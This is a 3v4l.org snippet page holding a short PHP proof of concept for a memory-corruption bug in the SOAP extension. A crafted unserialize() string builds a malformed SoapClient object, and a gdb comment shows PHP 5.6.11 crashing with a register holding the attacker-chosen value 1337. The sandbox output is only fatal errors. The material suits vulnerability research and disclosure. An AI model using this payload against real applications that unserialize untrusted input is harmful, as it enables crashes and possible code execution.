3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* (gdb) r poc2.php Starting program: /usr/bin/php /home/poc2.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370) at /home/php-5.6.11/ext/soap/soap.c:4351 4351 HashTable *ht = Z_OBJPROP_PP(header); (gdb) x/i $pc => 0x7dac54 <serialize_function_call+2145>: mov 0x70(%rax),%rax (gdb) p $rax $4 = 1337 */ $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}'); var_dump($dummy->notexisting()); ?>
Output for 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: The script tried to call a method on an incomplete object. Please ensure that the class definition "SoapClient" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in /in/TcBUM:24 Stack trace: #0 {main} thrown in /in/TcBUM on line 24
Process exited with code 255.
Output for 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33
Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "SoapClient" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in /in/TcBUM on line 24
Process exited with code 255.
Output for 5.4.1 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.33
Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "SoapClient" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in /in/TcBUM on line 24
Process exited with code 255.

preferences:
214.8 ms | 403 KiB | 259 Q